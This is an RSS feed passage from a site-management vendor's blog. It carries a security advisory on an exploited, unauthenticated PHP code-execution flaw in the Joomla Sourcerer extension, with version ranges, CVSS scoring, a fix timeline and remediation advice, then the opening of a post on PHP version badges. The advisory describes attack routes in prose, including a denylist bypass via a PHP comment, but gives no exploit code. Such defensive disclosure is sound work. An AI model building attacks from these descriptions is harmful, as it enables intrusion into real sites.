&lt;p&gt;Every site running a build below 16.0.0. The CVE record starts its range at 1.0.0, so there is no older version to fall back to, and the builds worth naming now are 14.0.0, 14.0.1 and 15.0.0, because those sites took the security update, did what they were told, and are still affected. Being current is not the same as being safe when the vendor has to fix the same flaw three times.&lt;/p&gt;
&lt;p&gt;One trap when you check versions by hand: Pro builds append a &lt;code&gt;PRO&lt;/code&gt; suffix, so a Pro site reports &lt;code&gt;15.0.0PRO&lt;/code&gt; rather than &lt;code&gt;15.0.0&lt;/code&gt;. String comparisons and spreadsheet sorts handle that badly, and it is why a “less than 16.0.0” rule written the obvious way can misjudge a Pro build in either direction. Compare the numeric part and treat anything below 16.0.0, Free or Pro, as affected.&lt;/p&gt;
&lt;p&gt;Sourcerer is installed on thousands of the Joomla sites we manage, and roughly nine in ten of those installs are on an affected build today. Our own vulnerability rules were bounded at 13.1.1 until 26 August, in line with the CVE record as it then read, which means the sites that had updated to 14.x or 15.0.0 were showing a clean bill of health while they were exposed. We widened the rule to below 16.0.0 the morning the re-scope appeared and alerted the affected customers directly.&lt;/p&gt;
&lt;h2&gt;What should I do now?&lt;/h2&gt;
&lt;p&gt;Update Sourcerer to 16.0.0 at minimum, and to 16.0.1 when convenient - it closes a separate, lower-severity bypass covered above, not the flaw this post is about. Not 14.0.1, not 15.0.0. Then plan for the breaking changes rather than being surprised by them: legitimate code Sourcerer was picking up from a module, component, head or final-rendering position stopped running at 14.0.0 until you allow that type explicitly on Pro, and from 16.0.0 any Sourcerer PHP that writes files will be blocked by default. If the site depends on Sourcerer for anything structural, test on a staging copy first.&lt;/p&gt;
&lt;p&gt;Because this one was exploited before a working fix existed, updating is not the whole job. Check the site for administrator accounts you did not create, and audit for files that changed when you were not deploying. Updating closes the door; it does not evict anyone who already came through it, and what this flaw hands out is arbitrary PHP.&lt;/p&gt;
&lt;p&gt;If you cannot update immediately, disabling the Sourcerer system plugin removes the exposure, because that is the plugin that renders Sourcerer tags. It also removes the functionality, so treat it as a stop-gap rather than a fix.&lt;/p&gt;
&lt;h2&gt;Disclosure and severity&lt;/h2&gt;
&lt;p&gt;This is not our find. The CVE record credits Łukasz Rybak as the finder; the vendor changelog credits no one, and Regular Labs published no separate advisory beyond the entry quoted at the top of this post. We read the 13.1.1 and 14.0.0 packages side by side to work out what the entry means, and we confirmed the behavioural difference between the two versions on our own Joomla 6 test site.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Update: the official record arrived the same day&lt;/p&gt;&lt;p&gt;We first published this post with our own provisional scores, because no CVE covered the 13.x line. Hours later the Joomla CNA published &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74253/&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74253/&quot;&gt;CVE-2026-74253&lt;/a&gt; and scored it CVSS 4.0 10.0, critical, with an affected range of 1.0.0 to 13.1.1. We said an official vector would be authoritative over ours, so the score below is the CNA’s, with our own figures and the reason they were lower kept underneath it.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;The record classifies the weakness as CWE-94, improper control of generation of code, which is the same call we made: code from an unverified origin was executed as PHP. It adds CAPEC-242, code injection. The impact once a block runs is complete: arbitrary PHP in the site’s own process.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Update, 26 August 2026: the record was re-scoped, and we had it wrong too&lt;/p&gt;&lt;p&gt;The Joomla CNA widened &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74253/&quot;&gt;CVE-2026-74253&lt;/a&gt; from “Sourcerer &amp;lt; 14.0.0” to “Sourcerer &amp;lt; 16.0.0”, moving the affected range from 1.0.0-13.1.1 to 1.0.0-15.0.0, after the vendor’s first two attempts at a fix turned out not to close the flaw. Our own vulnerability rules followed the original range, so between 17 and 26 August a site that had updated to 14.x or 15.0.0 was reported clean by us while it was affected and while the flaw was being exploited. We corrected the rules on 26 August and emailed the affected customers rather than waiting for a dashboard badge to change. If you read this post before 26 August and updated to 14.0.0 on the strength of it, you need to update again.&lt;/p&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;10.0&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;Joomla CNA, and the maximum possible score · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74253/&quot;&gt;CVE-2026-74253&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Every metric at its worst: reachable over the network, no login, no user interaction, nothing that has to be true first, and consequences that reach past the extension into the system around it. The record is titled &quot;Unauthenticated RCE through unverified reflected user input in Sourcerer &amp;lt; 16.0.0&quot;, re-scoped on 26 August 2026 from the &quot;&amp;lt; 14.0.0&quot; it read when first published.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Arbitrary PHP execution&lt;/span&gt;&lt;span&gt;Escaping is not a mitigation&lt;/span&gt;&lt;span&gt;PHP enabled by default&lt;/span&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Exploited in the wild&lt;/span&gt;&lt;span&gt;Two incomplete fixes&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:H&lt;/dt&gt;&lt;dd&gt;High: Data on other systems can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Our own provisional scores were lower, and the difference is reachability. We could not reach the flaw through Joomla core alone: core’s input filtering stripped our test payload out of a reflected search parameter, raw and entity-encoded alike, so we could demonstrate no anonymous route at all on a stock site. We scored what we had proved, treating a suitable delivery position as a requirement (&lt;code&gt;AT:P&lt;/code&gt;) and putting the everyday case behind a login. The CNA scored the flaw itself, with the reflected route its finder demonstrated. Its record is the one to quote, and ours is here for completeness.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;7.7&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;mySites.guru provisional assessment&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Our provisional variant: a low-privileged account, raw-rendered position outside the article path.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:P&lt;/dt&gt;&lt;dd&gt;Present: Needs a particular deployment or race to line up&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:L&lt;/dt&gt;&lt;dd&gt;Low: Any logged-in account will do&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;9.2&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;mySites.guru provisional assessment&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Our provisional variant: anonymous, where another extension renders raw request input.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:P&lt;/dt&gt;&lt;dd&gt;Present: Needs a particular deployment or race to line up&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;





















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Component&lt;/td&gt;&lt;td&gt;Sourcerer for Joomla (&lt;code&gt;plg_system_sourcerer&lt;/code&gt; and &lt;code&gt;plg_editors-xtd_sourcerer&lt;/code&gt;), Free and Pro&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;Regular Labs (&lt;a href=&quot;https://regularlabs.com/&quot;&gt;regularlabs.com&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Execution of code from an unverified origin&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74253/&quot;&gt;CVE-2026-74253&lt;/a&gt;, published 17 August 2026 by the Joomla CNA and re-scoped 26 August 2026 from ”&amp;lt; 14.0.0” to ”&amp;lt; 16.0.0”. &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-64796&quot;&gt;CVE-2026-64796&lt;/a&gt; covers the earlier, separate issue in 1.0.0 to 12.2.8&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;10.0 (critical), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;. Our own provisional figures, published before the record existed, were 7.7 and 9.2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CWE&lt;/td&gt;&lt;td&gt;CWE-94 (improper control of generation of code), CAPEC-242 (code injection)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;1.0.0 up to and including 15.0.0 per the re-scoped CVE record, Free and Pro. That includes 14.0.0, 14.0.1 and 15.0.0, each of which was published as a fix&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;16.0.0, released 26 August 2026. The earlier 14.0.0 (17 August) and 15.0.0 (24 August) did not close it&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Exploited&lt;/td&gt;&lt;td&gt;Yes, in the wild since roughly 19 August 2026 per the Joomla Security Strike Team, confirmed to us 24 August 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Łukasz Rybak, credited in the CVE record. Not a mySites.guru find, and the vendor changelog credits no one&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor advisory&lt;/td&gt;&lt;td&gt;None beyond the changelog entry&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-22&lt;/strong&gt; Sourcerer 13.0.0, a different flaw Regular Labs ships a catalogue-wide hardening release closing the article path. It becomes CVE-2026-64796, affected range 1.0.0 to 12.2.8. Patching it does nothing for the flaw below.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-17&lt;/strong&gt; 14.0.0 is published as the fix, and CVE-2026-74253 is assigned Tagged [SECURITY FIX] [BC BREAK]. Adds a trust-marking step so only code whose origin can be proven executes. The Joomla CNA publishes the record hours later, titled &apos;Sourcerer &amp;lt; 14.0.0&apos;, affected range 1.0.0 to 13.1.1. The fix is incomplete.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-18&lt;/strong&gt; 14.0.1 restores the Unverified Content options A usability follow-up on Free, not a security release. Still affected.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-19&lt;/strong&gt; Exploitation begins in the wild Two days after the first fix shipped, and seven days before a working one existed. Sites that updated immediately were exposed throughout.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-24&lt;/strong&gt; The JSST confirms exploitation, and 15.0.0 still does not close it David Jardin of the Joomla Security Strike Team tells us the flaw has been exploited since roughly 19 August. Regular Labs ships 15.0.0 the same day, reworking the permission model into No, Yes, Only Verified and Default policies. It is not tagged a security fix, and it is still exploitable.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-26&lt;/strong&gt; 16.0.0 closes it A second [SECURITY FIX] entry on the same flaw, blocking Sourcerer syntax supplied through URL or form names and values, raw request bodies, uploads, cookies and request headers. It also blocks common filesystem-write functions by default, so some trusted code will stop working.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-26&lt;/strong&gt; The CVE record is re-scoped from &apos;&amp;lt; 14.0.0&apos; to &apos;&amp;lt; 16.0.0&apos; The Joomla CNA widens CVE-2026-74253 in place rather than issuing a new id. The affected range moves from 1.0.0-13.1.1 to 1.0.0-15.0.0, bringing every site that had already patched twice back into scope.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-26&lt;/strong&gt; We widen our own rules and email affected customers Our vulnerability rules had followed the original range, so sites on 14.x and 15.0.0 read as clean while they were exploitable. Corrected the same morning, and we wrote to the affected accounts directly rather than waiting for a dashboard badge to change.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-29&lt;/strong&gt; 16.0.1 fixes a narrower, separate bug A third [SECURITY FIX] entry, patching a bypass of 16.0.0&apos;s own filesystem-write function denylist: a forbidden function name hidden inside a PHP comment slipped past the check but still ran. We tested it live and confirmed it only reaches content that has already passed the origin check that closes CVE-2026-74253 above, so it needs an authenticated content author, not an anonymous visitor. Tracked separately at Low severity, no CVE assigned.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://regularlabs.com/sourcerer/download&quot;&gt;Sourcerer downloads and changelog&lt;/a&gt; at Regular Labs, where the 14.0.0, 15.0.0, 16.0.0 and 16.0.1 entries can be read side by side&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74253/&quot;&gt;CVE-2026-74253&lt;/a&gt;, our record page for this issue (CVSS 4.0 10.0, CWE-94)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-64796&quot;&gt;CVE-2026-64796&lt;/a&gt;, the earlier Sourcerer issue fixed in 13.0.0&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/94.html&quot;&gt;CWE-94: Improper Control of Generation of Code&lt;/a&gt; at MITRE&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.first.org/cvss/v4.0/specification-document&quot;&gt;CVSS 4.0 specification&lt;/a&gt; at FIRST&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;Joomla&apos;s guidance for developers handling a security report&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>regular labs</category><category>sourcerer</category><category>code execution</category><category>vulnerability</category><category>joomla extensions</category><enclosure url="https://mysites.guru/img/og/blog/sourcerer-14-unverified-content-php-execution.png" length="0" type="image/png"/></item><item><title>Why PHP 8.5.7 Shows Amber When PHP 8.4.24 Shows Green</title><link>https://mysites.guru/blog/php-supported-versions-amber-green/</link><guid isPermaLink="true">https://mysites.guru/blog/php-supported-versions-amber-green/</guid><description>PHP 8.5.7 shows amber while 8.4.24 shows green because the badge checks whether you are on the newest patch in your branch, not which branch you picked.</description><pubDate>Sun, 16 Aug 2026 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A customer emailed us this week with a fair question. One of their sites was running PHP 8.5.7 and the mySites.guru dashboard showed an amber badge. Another was running PHP 8.4.24 and showed green. The bigger number was getting the worse colour, which looks like a reporting error.&lt;/p&gt;
&lt;p&gt;The badge is right, and the reason deserves more than the one-line reply we sent back, because the same confusion sits underneath a lot of expensive hosting decisions.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Accurate on 16 August 2026&lt;/p&gt;
  &lt;p&gt;Every version number, release date and support window below was correct on the day this was published. They will not stay that way. PHP ships a patch roughly every four weeks, so 8.5.9 will stop being the newest 8.5 release soon enough, and branches move from active support to security-fixes-only to end of life on a published schedule.&lt;/p&gt;
  &lt;p&gt;The mechanism does not age. The difference between a branch and a patch level, and the reason a higher version number can be the more out-of-date one, holds whatever the current numbers happen to be. For today&apos;s figures, &lt;a href=&quot;https://www.php.net/supported-versions.php&quot;&gt;php.net publishes the timetable&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;The Short Answer&lt;/h2&gt;
&lt;p&gt;PHP 8.4.24 is the newest release php.net publishes for the 8.4 branch, so it goes green. PHP 8.5.7 is two releases behind the newest 8.5 release, which is 8.5.9, so it goes amber. Both 8.4 and 8.5 are currently supported branches. The badge is not ranking one branch above the other.&lt;/p&gt;
&lt;h2&gt;A PHP Version Number Answers Two Questions&lt;/h2&gt;
&lt;p&gt;Read &lt;code&gt;8.5.7&lt;/code&gt; as three separate facts rather than one number that gets bigger over time.&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Part&lt;/th&gt;&lt;th&gt;Example&lt;/th&gt;&lt;th&gt;What it tells you&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Major&lt;/td&gt;&lt;td&gt;&lt;span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;.5.7&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;The language generation. PHP 8 has been current since 2020.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Branch&lt;/td&gt;&lt;td&gt;&lt;span&gt;&lt;span&gt;8.&lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;.7&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;The support window. Each branch has its own start date and its own death date.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Patch&lt;/td&gt;&lt;td&gt;&lt;span&gt;&lt;span&gt;8.5.&lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;Whether you have taken the fixes that branch has already shipped.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The branch and the patch are independent. A brand new branch can be badly out of date on patches, and an older branch can be perfectly current. That is the situation our customer was looking at: 8.5 is the newer branch, and their 8.5 site was the one behind.&lt;/p&gt;
&lt;p&gt;Branches also run in parallel rather than in sequence. When PHP 8.5 arrived, PHP 8.4 did not stop. It carried on receiving patches on the same monthly rhythm, and it will keep doing so into 2028.&lt;/p&gt;
&lt;h2&gt;What the PHP Badge Actually Checks&lt;/h2&gt;
&lt;p&gt;Every hour, mySites.guru fetches the list of current releases straight from php.net’s own machine-readable feed of active branches:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; -s&lt;/span&gt;&lt;span&gt; https://www.php.net/releases/active&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Reduced to the part that matters, that feed currently says:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &quot;&lt;/span&gt;&lt;span&gt;8.2&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;8.2.33&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &quot;&lt;/span&gt;&lt;span&gt;8.3&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;8.3.33&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &quot;&lt;/span&gt;&lt;span&gt;8.4&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;8.4.24&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &quot;&lt;/span&gt;&lt;span&gt;8.5&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;8.5.9&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The mySites.guru badge rule itself is blunt:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Green.&lt;/strong&gt; Your PHP version string is exactly one of those four. You are on the newest patch of a branch php.net still publishes for.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Amber.&lt;/strong&gt; It is anything else. One patch behind and ten patches behind get the same colour, because both mean there are published fixes you have not taken.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Red.&lt;/strong&gt; The version starts with 5 or 7, so the entire major series is dead, or the string contains &lt;code&gt;beta&lt;/code&gt; or &lt;code&gt;rc&lt;/code&gt;, because pre-release builds do not belong on production sites.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Because the list refreshes hourly, sites move from green to amber on their own within an hour of php.net publishing a new patch. No one has to notice and nothing has to be re-scanned.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru sites list showing PHP version badges in three colours on a row of Joomla 3.10.12 sites: PHP 8.5.9 in green because it is the newest release on the 8.5 branch, PHP 8.2.24 in amber because the 8.2 branch has since moved on to 8.2.33, and PHP 7.4.30 and PHP 7.4.8 in red because the whole PHP 7 series is end of life&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1886px) 1886px, 100vw&quot; width=&quot;1886&quot; height=&quot;500&quot; src=&quot;https://mysites.guru/_astro/php-version-badges-mysites-guru.DJG29Xab_cxLE7.webp&quot; srcset=&quot;https://mysites.guru/_astro/php-version-badges-mysites-guru.DJG29Xab_ez8Fp.webp 640w, https://mysites.guru/_astro/php-version-badges-mysites-guru.DJG29Xab_2awB5E.webp 750w, https://mysites.guru/_astro/php-version-badges-mysites-guru.DJG29Xab_26yu6L.webp 828w, https://mysites.guru/_astro/php-version-badges-mysites-guru.DJG29Xab_ZcJnwC.webp 1080w, https://mysites.guru/_astro/php-version-badges-mysites-guru.DJG29Xab_XOAbf.webp 1280w, https://mysites.guru/_astro/php-version-badges-mysites-guru.DJG29Xab_ZRpj3g.webp 1668w, 